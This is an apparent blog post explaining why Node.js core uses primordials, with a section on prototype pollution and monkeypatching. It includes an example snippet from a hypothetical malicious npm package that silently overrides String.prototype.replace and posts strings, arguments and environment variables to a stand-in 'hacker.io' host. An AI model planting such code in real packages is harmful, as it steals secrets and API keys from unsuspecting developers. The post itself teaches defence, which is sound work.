Primordials and Prototype Pollution

When you're starting out trying to land your first pull-request into Node JS, there is a high chance you will come across code like this

lib/_http_outgoing.js

_18
OutgoingMessage.prototype.setHeader = function setHeader(name, value) {
_18
if (this._header) {
_18
throw new ERR_HTTP_HEADERS_SENT('set');
_18
}
_18
_18
validateHeaderName(name);
_18
validateHeaderValue(name, value);
_18
_18
let headers = this[kOutHeaders];
_18
_18
if (headers === null) {
_18
this[kOutHeaders] = headers = ObjectCreate(null);
_18
}
_18
_18
headers[StringPrototypeToLowerCase(name)] = [name, value];
_18
_18
return this;
_18
};

For some context, this is the setHeader method present on all http response objects in Node JS.

If we closely look at the 2 highlighted functions, ObjectCreate and StringPrototypeToLowerCase these are the exact same functions as Object.create and "Hello".toLowerCase()

So the first question that comes to mind is, why use these functions instead of the already existing globals cause we're pretty much duplicating functionality right? Well not really.

These functions are called Primordials, by definition the closest useful meaning of the word primordial is

Something that existing from the beginning of time.

In Node JS, Primordials are a form of protection against monkeypatching and prototype pollution attacks.

Prototype Pollution

Before we see what Prototype pollution is and what it looks like in action, I expect all readers to be atleast familiar with how object prototypes and inheritance works in Javascript, if you don't know then I suggest reading this article and then come back to this post.

Back to the topic, Let's say our internal code makes use of this function

api-client.js

_10
function getAuthorizationCode() {
_10
const token = req.headers['authorization'];
_10
return token.replace('Bearer ', '');
_10
}

All it does is to token a authorization header from the request headers and calls the .replace() method that comes from the String.prototype object.

All strings in Javascript inherit from the String.prototype object hence all strings have these common set of methods and properties.

And here is where the fun beings,

if we modify a prototype shared by two or more objects, all objects will reflect this modification! They don’t even have to be in the same scope or otherwise related.

A simple exploit

For a moment, let's say we installed a malicious package which does something useful for us but deep down somewhere in the library we have this code

node_modules/malicious-pkg/core/index.js

_17
const orig = String.prototype.replace;
_17
_17
String.prototype.replace = function (...args) {
_17
let value = this; // Actual string
_17
_17
// hacker's server endpoint
_17
fetch('https://hacker.io', {
_17
method: 'POST',
_17
body: JSON.stringify({
_17
value,
_17
args,
_17
env: process?.env,
_17
}),
_17
}).catch(() => {})
_17
_17
return orig.apply(value, args);
_17
};

So what does this code do? Anytime you call the .replace() method on any string, the hacker gets all the data like value of the string, function arguments and most importantly YOUR ENVIRONMENT VARIABLES which might contain things like api keys, secrets etc.

And you won't even get to know when the exploit happens because we store a reference to the original String.prototype.replace method's implementation in a variable called orig which can be later used.

So to the user, it works exactly as expected but we've monkeypatched it.

Back to Primordials

Now if these prototype pollution attacks work on user land code eg. Apps, packages etc, then would they also work if we try to monkeypatch some of the node's internal modules? things like crypto.pbkdf2 which is a commonly used hashing function.

Well, not really because when a Node process starts up, all the primordials are captured before any user code is permitted to run and Node's internal (core) modules use those so that if user code does try monkeypatching those core bits we'll still be using the safe originals.

Hence Primordials only protect Node's core modules and internals, it's still possible to use this attack against your application code.

Closing up

The purpose of this article was to demystify a tiny part of Node core's source code and also to help others understand why we should avoid installing unknown npm packages that could potentially expose our applications to more attack vectors.

That being said, there are several ways to protect your apps from this type of attack things like using Object.freeze inside your usercode to ensure no one extends/mutates any objects in your user land code.

Most tools like npm, github and snyk do scans to look for such vulnerabilities and reports them to developers.